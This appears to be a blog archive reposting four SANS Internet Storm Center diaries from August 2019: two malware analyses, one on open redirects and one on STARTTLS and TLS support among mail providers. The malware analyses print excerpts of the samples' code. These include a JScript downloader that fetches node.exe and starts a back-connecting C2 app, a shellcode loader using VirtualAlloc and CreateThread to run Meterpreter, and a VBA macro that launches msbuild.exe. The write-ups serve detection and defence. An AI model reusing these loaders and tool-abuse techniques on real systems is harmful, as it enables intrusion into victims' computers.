Blog

Archive for August, 2019

Malware Dropping a Local Node.js Instance, (Fri, Aug 30th)

Yesterday, I wrote a diary about misused Microsoft tools[1]. I just found another interesting piece of code. This time the malware is using Node.js[2]. The malware is a JScript (SHA256:1007e49218a4c2b6f502e5255535a9efedda9c03a1016bc3ea93e3a7a9cf739c)[3]

First, the malware tries to install a local Node.js instance:

nodeurl = 'https://nodejs.org/dist/latest-v10.x/win-x86/node.exe';
foldername = 'SystemConfigInfo000';
...
try {
if(FileExists(wsh.CurrentDirectory+'\'+foldername+'\'+nodename)!=true)
{
    
    nodedwnloaded = false;
    for(var i=1;i<=5;i++){
        try{
            m.open("GET", nodeurl, false);
            m.send(null);
            if(m.status==200)
            {
                nodedwnloaded = true;
                break;
            }
        }
        catch(e)
        {
            report('nodedownerr');
            WScript.Sleep(5*60*1000);
            WScript.Quit(2);
        }
    }
    if(nodedwnloaded)
    {
        try{
            xa=new ActiveXObject('A'+'D'+'O'+'D'+'B'+point+'S'+'t'+'r'+'e'+'a'+'m');
            xa.open();
            xa.type=1;
            xa.write(m.responseBody);
            xa.position=0;
            xa.saveToFile(wsh.CurrentDirectory+'\'+foldername+'\'+nodename, 2);
            xa.close();
        }
        catch(err5){
            report('nodesave');
            WScript.Sleep(5*60*1000);
            WScript.Quit(5);
            
        }
    }
    else{
    report('nodedownload1');
    WScript.Sleep(5*60*1000);
    WScript.Quit(11);
    }
}
}

The Javascript application is part of the original script and is Based64 encode in a comment:

try {
    if(FileExists(wsh.CurrentDirectory+'\'+foldername+'\app.js')!=true)
    {
        var arch = DecodeBase64(res2());
        if(true)
        {
            try{
                xa=new ActiveXObject('A'+'D'+'O'+'D'+'B'+point+'S'+'t'+'r'+'e'+'a'+'m');
                xa.open();
                xa.type=1;
                xa.write(arch);
                xa.position=0;
                xa.saveToFile(wsh.CurrentDirectory+'\'+foldername+'\'+archname, 2);
                xa.close();
            }
    ...

The function res2() extract the chunk of data:

function res2()
{
Function.prototype.GetResource = function (ResourceName)
{
    if (!this.Resources) 
    {
        var UnNamedResourceIndex = 0, _this = this;
        this.Resources = {};
        
        function f(match, resType, Content)
        {
            _this.Resources[(resType=="[[")?UnNamedResourceIndex++:resType.slice(1,-1)] = Content; 
        }
        this.toString().replace(//*([(?:[^[]+)?[)((?:[rn]|.)*?)]]*//gi, f);
    }
    
    return this.Resources[ResourceName];
}
/*[arch2[UEsDBBQAAAAAAMSpgk4AAAAAAAAAAAAAAAAeAAAAbm9kZV9tb2R1bGVzL3NvY2tldC5pby1jbGllbnQvUEsDBBQAAAAAAMSpgk4A
AAAAAAAAAAAAAAAiAAAAbm9kZV9tb2R1bGVzL3NvY2tldC5pby1jbGllbnQvbGliL1BLAwQUAAAACACaU9BKccRGp8QCAADPBgAAKgAAAG5vZ
GVfbW9kdWxlcy9zb2NrZXQuaW8tY2xpZW50L2xpYi9pbmRleC5qc4VVTU8bMRC9768YDmUTRHfvRJEqVT1UKqgShx4QUhzvJHHZtRd/QCnkv3
fG3nU2gkIuiWfefL15dor67KyAM7g0TWgRGuxRN6ilQleRvS6KB2Eh2BaWYPE+KIuzsqrJUM4X0dcL69BO3c7IO/
...

Let’s decode and have a look at this JavaScript code:

$ file res2.decoded
res2.decoded: Zip archive data, at least v2.0 to extract
$ unzip res2.decoded
Archive:  res2.decoded
   creating: node_modules/socket.io-client/
   creating: node_modules/socket.io-client/lib/
  inflating: node_modules/socket.io-client/lib/index.js
  inflating: node_modules/socket.io-client/lib/manager.js
  inflating: node_modules/socket.io-client/lib/on.js
  ...
  creating: node_modules/socket.io-client/node_modules/yeast/
  inflating: node_modules/socket.io-client/node_modules/yeast/index.js
  inflating: node_modules/socket.io-client/node_modules/yeast/LICENSE
  inflating: node_modules/socket.io-client/node_modules/yeast/package.json
  inflating: node_modules/socket.io-client/node_modules/yeast/README.md
  inflating: node_modules/socket.io-client/package.json
  inflating: node_modules/socket.io-client/README.md
  inflating: app.js
  inflating: constants.js
  inflating: socks4a.js

Basically, this app is launched with an argument  (an IP address):

try{
    WScript.Sleep(5000);
    var res=wsh['R'+'un']('.\'+nodename+' .\ap'+'p.js '+addr, 0, true);
    report('res='+res);
}
catch(errobj1)
{
    report('runerr');
    WScript.Sleep(5*60*1000);
    WScript.Quit(16);
}

‘addr’ is a Base64-encoded variable. In the sample that I found, it’s an RFC1918 IP.

It first performs an HTTP GET request to http:///getip/. The result is used to call a backconnect() function:

http.get(url,(res)=>{
        let rawData = '';
        res.on('data', (chunk) => { rawData += chunk; });
        res.on('end', () => {
                backconnect('http://'+rawData.toString()+'/');
        });
});

The application seems to implement a C2-like communication but I still need to check the code deeper. Why is the IP address a private one? I don’t know. Maybe the sample was uploaded to VT during the development? It was developed for a red-teaming exercise?

Besides the Node.js local instance, the script also drops WinDivert.dll and WinDivert32.dll DLL files and inject a shellcode via PowerShell:

[1] https://isc.sans.edu/forums/diary/Malware+Samples+Compiling+Their+Next+Stage+on+Premise/25278/
[2] https://nodejs.org/en/about/
[3] https://www.virustotal.com/gui/file/1007e49218a4c2b6f502e5255535a9efedda9c03a1016bc3ea93e3a7a9cf739c/detection

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Malware Samples Compiling Their Next Stage on Premise, (Wed, Aug 28th)

I would like to cover today two different malware samples I spotted two days ago. They have one interesting behaviour in common: they compile their next stage on the fly directly on the victim’s computer. At a first point, it seems weird but, after all, it’s an interesting approach to bypass low-level detection mechanisms that look for PE files.

By reading this, many people will argue: “That’s fine, but I don’t have development tools to compile some source code on my Windows system”. Indeed but Microsoft is providing tons of useful tools that can be used outside their original context. Think about tools like certutil.exe[1] or bitsadmin.exe[2]. I already wrote diaries about them. The new tools that I found “misused” in malware samples are: “jsc.exe” and “msbuild.exe”. They are chances that you’ve them installed on your computer because they are part of the Microsoft .Net runtime environment[3]. This package is installed on 99.99% of the Windows systems, otherwise, many applications will simply not run. By curiosity, I checked on different corporate environments running hardened endpoints and both tools were always available.

jsc.exe is a JScript Compiler:

msbuild.exe is a tool to automatically build applications. Since the version 2013, it is bundled with Visual Studio but a version remains available in the .Net framework:

Both are located in C:WindowsMicrosoft.NETFrameworkvx.x.xxxxx (check the version installed on your computer).

Let’s have a look how they are (ab)used. The first sample is a JScript script (SHA256:e5d58197b5d4465fe778bae8a63c5ab721a8c15b0f3c5e2aa6d20cbad3473b3e) with a VT score of 13/58[4]. It is not obfuscated at all (if it was the detection score could be much lower) and does the following actions:

It moves and resizes the current window to make it invisible then it decodes a chunk of Base64 encoded data. It searches for an existing .Net runtime environment and builds the absolute path to jsc.exe:

function findJSC() {
  var fso = new ActiveXObject("Scripting.FileSystemObject");
  var comPath = "C:\Windows\Microsoft.NET\Framework\";
  var jscPath = "";
  if(!fso.FolderExists(comPath)) {
    return false;
  }

  var frameFolder = fso.GetFolder(comPath);
  var fEnum = new Enumerator(frameFolder.SubFolders);

  while(!fEnum.atEnd()) {
    jscPath = fEnum.item().Path;
    if(fso.FileExists(jscPath + "\jsc.exe")) {
       return jscPath + "\jsc.exe";
    }
    fEnum.moveNext();
  }
  return false;
}

If one is found, it compile the Base64 decoded data (SHA256:29847be3fef93368ce2a99aa8e21c1e96c760de0af7a6356f1318437aa29ed64) into a PE file and executes it:

var fso = new ActiveXObject("Scripting.FileSystemObject");
var objShell = new ActiveXObject("WScript.shell");
var js_f = path + "\LZJaMA.js";
var ex = path + "\LZJaMA.exe";
var platform = "/platform:x64";
objShell.run(comPath + " /out:" + ex + " " + platform + " /t:winexe "+ js_f, 0);
while(!fso.FileExists(ex)) { }
objShell.run(ex, 0);

The executed command is (in my sandbox):

C:WindowsMicrosoft.NETFrameworkv4.0.30319jsc.exe /out:LZJaMA.exe /platform:x64 /t:winexe %TEMP%LZJaMA.js

The extracted file (LZJaMa.js) is another JScript that contains another Base64-encoded chunk of data. It is decoded and injected in the current process via VirtualAlloc() & CreateThreat() then executed:

function ShellCodeExec()
{
  var MEM_COMMIT:uint = 0x1000;
  var PAGE_EXECUTE_READWRITE:uint = 0x40;
  var shellcodestr:String = 'TVpBUlVIieVIg+wgSI ... '
  var shellcode:Byte[] = System.Convert.FromBase64String(shellcodestr);
  var funcAddr:IntPtr = VirtualAlloc(0, UInt32(shellcode.Length),MEM_COMMIT, PAGE_EXECUTE_READWRITE);

  Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length);
  var hThread:IntPtr = IntPtr.Zero;
  var threadId:UInt32 = 0;

  // prepare data
  var pinfo:IntPtr = IntPtr.Zero;

  // execute native code
  hThread = CreateThread(0, 0, funcAddr, pinfo, 0, threadId);

  WaitForSingleObject(hThread, 0xFFFFFFFF);
}

try{
ShellCodeExec();
}catch(e){}

The injected malicious payload is a Meterpreter (SHA256:6f5bdd852ded30e9ac5a4d3d2c82a341d4ebd0fac5b50bb63feb1a7b31d7be27)[5].

The second sample uses msbuild.exe. It’s an Excel sheet (SHA256:452722bf48499e772731e20d255ba2e634bba88347abcfb70a3b4ca4acaaa53d)[6] with a VBA macro. Classic behaviour: the victim is asked to authorize the macro execution. In this case, the payload is again Base64-encoded but it is stored directly in some cells that are read and their content concatenated:

cwd = Application.ActiveWorkbook.Path
fullPath = "c:windowstasksKB20183849.log"
text = Worksheets("Sheet1").Cells(500, "A").Value
text1 = Worksheets("Sheet1").Cells(501, "A").Value
text2 = Worksheets("Sheet1").Cells(502, "A").Value
text3 = Worksheets("Sheet1").Cells(503, "A").Value
text4 = Worksheets("Sheet1").Cells(504, "A").Value
text5 = Worksheets("Sheet1").Cells(505, "A").Value
text6 = Worksheets("Sheet1").Cells(506, "A").Value
text7 = Worksheets("Sheet1").Cells(507, "A").Value
text8 = Worksheets("Sheet1").Cells(508, "A").Value
text9 = Worksheets("Sheet1").Cells(509, "A").Value
text10 = Worksheets("Sheet1").Cells(510, "A").Value
text11 = Worksheets("Sheet1").Cells(511, "A").Value
text12 = Worksheets("Sheet1").Cells(512, "A").Value
text13 = Worksheets("Sheet1").Cells(513, "A").Value
text14 = Worksheets("Sheet1").Cells(514, "A").Value

Full = text + text1 + text2 + text3 + text4 + text5 + text6 + text7 + text8 + text9 + text10 + text11 + text12 + text13 + text14 
decode = decodeBase64(Full) 
writeBytes fullPath, decode

The decoded Base64 data is a Microsoft project file (think about something like a Makefile on UNIX) that contains all the details to compile the malicious code:

  
    
  
  
    
      
        
      
    
  

The decoded data (SHA256:e9303daa995c31f80116551b6e0a2f902dc2b180f5ec17c7d3ce27d9a9a9264a) is detected by only one AV as… another Meterpreter.

The project is compiled and executed via msbuild.exe directly from the macro:

'Dim fso As Object
'Set fso = CreateObject("Scripting.FileSystemObject")
'Dim oFile As Object
'Set oFile = fso.CreateTextFile(fullPath)
'oFile.Write decode
'oFile.Close
Set fso = Nothing
Set oFile = Nothing
Set oShell = CreateObject("WScript.Shell")
oShell.Run "C:WindowsMicrosoft.NETFramework64v4.0.30319Msbuild.exe C:windowstasksKB20183849.log"
Application.Wait (Now + TimeValue("0:00:20"))
Kill "C:WindowstasksKB20183849.log"

Note that in this case, the macro does not try to find a valid .Net runtime, the version is hardcoded. Targeted attack?

Tools like ‘jsc.exe’ and ‘msbuild.exe’ are good IoC’s because they aren’t used by regular users. Execution of such processes is easy to spot with tools like Sysmon or, better, prevent their execution with AppLocker. Especially if they are executed from Excel, Word, Powershell, etc.

[1] https://isc.sans.edu/forums/diary/A+Suspicious+Use+of+certutilexe/2351
[2] https://isc.sans.edu/forums/diary/Investigating+Microsoft+BITS+Activity/23281
[3] https://dotnet.microsoft.com/download
[4] https://www.virustotal.com/gui/file/e5d58197b5d4465fe778bae8a63c5ab721a8c15b0f3c5e2aa6d20cbad3473b3e/detection
[5] https://www.virustotal.com/gui/file/6f5bdd852ded30e9ac5a4d3d2c82a341d4ebd0fac5b50bb63feb1a7b31d7be27/detection
[6] https://www.virustotal.com/gui/file/452722bf48499e772731e20d255ba2e634bba88347abcfb70a3b4ca4acaaa53d/detection

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

[Guest Diary] Open Redirect: A Small But Very Common Vulnerability, (Wed, Aug 28th)

[This is a guest diary submitted by Jan Kopriva. Jan is working for Alef Nula (http://www.alef.com) and you can follow him on Twitter at @jk0pr]

Open (or unvalidated) redirects[1] are a family of web application vulnerabilities caused by missing or insufficient validation of input used to specify URL to which a browser is to be redirected. Although, from a technical standpoint, their principles are quite simple and they are usually nowhere near as dangerous as XSS or SQLi vulnerabilities, under specific circumstances they can pose severe risks. This is well illustrated by the fact that “Unvalidated Redirects and Forwards” were part of the OWASP Top 10 List in its 2013 iteration.

Pages, which redirect visiting browsers to different URLs based on an input passed to them, have a legitimate use in web applications. Historically, they have often been used for marketing purposes (monitoring clickthroughs in e-mail campaigns and on websites) or for returning a browser to the same page, it was on before user logged into an application. LinkedIn, for example, makes use of this technique if you try to log in while viewing someone’s profile. In such a case, the page, to which your browser will be redirected after you log in, is specified by the value of session_redirect parameter.

As you may see, redirection mechanisms can be quite useful. A problem arises, however, when these mechanisms lack any limits on the URLs to which they may redirect a browser (i.e. the redirect is “open”). For marketing loggers, redirection to any domain passed to them might be an intentional feature. On the other hand, if an open redirect is present on the website of a bank or a similar trusted business it can be quite dangerous.

Imagine if a website of a bank used the URL https://www.bank.tld/redirect?to=https://ebanking.bank.tld to redirect users to its e-banking portal. If the redirect was “open”, a threat actor could craft a link which would point to the legitimate site of the bank, but – when accessed – would redirect the browser to a fraudulent website. (e.g. https://www.bank.tld/redirect?to=https://ebanking.fakebank.tld). A phishing campaign utilizing such a link could be quite successful. That is the main reason why a redirect mechanism should – at least in most cases – include a whitelist of permissible target domains (or another relevant filtering mechanism) and redirect only to those sites, which are considered safe.

Unfortunately, as we found out during recent research into open redirect vulnerabilities, even though they are usually easy to find and fix (and it isn’t difficult to avoid introducing them into an application in the first place), they are quite prevalent on the web. We managed to find them on more than a hundred sites in the CZ top-level domain alone – including on websites of a couple of banks and other “trusted” organizations – just by using a few well-chosen Google dorks. Breakdown of affected sites may be seen in the following chart.

It should be mentioned that although we didn’t spend much time looking outside the .cz TLD, the situation seems to be the same in other TLDs as well – open redirects are pretty common, even on high-profile sites.

A more in-depth discussion of the results of our research was part of my talk at SANS Pen Test Hackfest Summit in Berlin in July. If you didn’t have a chance to join us there but would like to learn more, you may take a look at the slides in the SANS Summit Archives at https://www.sans.org/cyber-security-summit/archives/pen-testing. The slides cover a “half-open” redirect vulnerability in Youtube (see https://untrustednetwork.net/en/2019/07/22/half-open-redirect-vulnerability-in-youtube/) and a couple of other topics as well.
If you’re not interested in the results but would like to check whether your own web applications have any obvious open redirect vulnerabilities, I can at least share with you couple of the simple Google dorks, which might be able to help you. As the targets for a redirect are usually determined by an HTTP GET parameter and as the purpose of most such parameters is identical, their names tend to be similar as well. Good Google dorks to assist you in finding open redirects in your domains might therefore be:

site:domain.tld inurl:redir
site:domain.tld inurl:redirect
site:domain.tld inurl:redirect_to
site:domain.tld inurl:newurl
site:domain.tld inurl:targeturl
site:domain.tld inurl:link
site:domain.tld inurl:url

[1] https://cwe.mitre.org/data/definitions/601.html 
 

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Is it Safe to Require TLS 1.2 for E-Mail, (Mon, Aug 26th)

This started as a quick twitter conversation with Michael Vance (@Mav_Sec):

But a bit background first:

Over the last few years, weaknesses in TLS/SSL have been a major security “headache”. But the focus has been HTTPS, and not so much other services, which of course take advantage of TLS as well, and are subject to the same problems. Email is in particular tricky. With HTTPS, the end-user will typically know if they are connecting to an HTTPS site or not, and browsers can warn users about blatant misconfiguration. For email, the user will typically connect to a specific mail server (or use a webmail client). This connection typically happens via HTTPS, SMTPS or IMAPS. But the more difficult problem is how that email is than passed on to other mail servers. By default, this happens in the clear over SMTP on port 25.

To protect these connections between mail servers, SMTP was extended with the “STARTTLS” option [2]. The STARTTLS option allows mail servers to advertise that they are supporting TLS, and the connection will then be upgraded to TLS “on the fly”. 

Here is a typical exchange between two mail servers supporting STARTTLS:

220 mail.dshield.org ESMTP
EHLO test
250-mail.dshield.org
250-PIPELINING
250-SIZE 30000000
250-ETRN

250-STARTTLS
250-AUTH LOGIN CRAM-MD5
250-AUTH=LOGIN CRAM-MD5
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN

STARTTLS
220 2.0.0 Ready to start TLS

Note how the server advertises that it supports STARTTLS (“250-STARTTLS“). The client will respond with “STARTTLS” and then switch to TLS as soon as it receives the “220 2.0.0 Ready to start TLS” response. One of the major weaknesses of STARTTLS is that this exchange is not protected, so downgrade attacks are possible. But Michael’s question was more about the TLS parameters that are negotiated after this handshake is completed.

Today’s email landscape is very centralized. Most email uses a small handful of large cloud-based mail providers (GMail, Office365, Hotmail, Yahoo…). To figure out the TLS configuration of popular email providers, I used a list of “100 Most Popular Email Domains” [1], looked up the MX records for these domains and then connected to them via a Python script testing for STARTTLS support. In addition, I also looked at some connections to my personal mail server. I captured the traffic and used tshark to extract some of the TLS parameters.

First of all: 90% of mail servers did support STARTTLS. Only 9 major providers do not support STARTTLS:

  • sohu.com (Large Chinese Webmail Provider)
  • sinanode.com (also based in China)
  • yahoo.co.jp (Yahoo’s Chinese subsidiary)
  • Frontiernet.net (regional US ISP)
  • bol.com.br (Brasilian free email provider)
  • tiscali.it (Italian ISP)
  • tin.it (Italian ISP)
  • untd.com (United Online, Juno/Netzero, low-cost US ISPs)
  • alice.it (part of tin.it. See above)

However, among the ISPs/email providers that support STARTTLS, there was only one that didn’t support TLS 1.2: Orange.fr (large French ISP) did only support TLS 1.0.

So what does this mean: Enforcing STARTTLS does not seem practical unless you use protocols like MTA-STS [3]. For mail servers, it is probably too early to recommend dropping support for TLS 1.0. TLS 1.0 is still a lot better than sending email in the clear. Dropping support for TLS 1.0 can lead to some difficult to track down email issues, even if it may affect only a handful of ISPs. I would recommend that you log the ciphers used in your environment. It is pretty easy to log TLS versions using a network tool like Zeep [4]. Or you may be able to log the ciphers used using your mail server logs.

This was a very quick experiment, and probably not the last word in this matter. I am interested to hear from anybody who tightened their TLS configuration. 

[1] https://email-verify.my-addr.com/list-of-most-popular-email-domains.php
[2] https://tools.ietf.org/html/rfc3207
[3] https://tools.ietf.org/html/rfc8471
[4]https://www.zeek.org/current/exercises/ssl/index.html

 


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →
Page 1 of 6 12345...»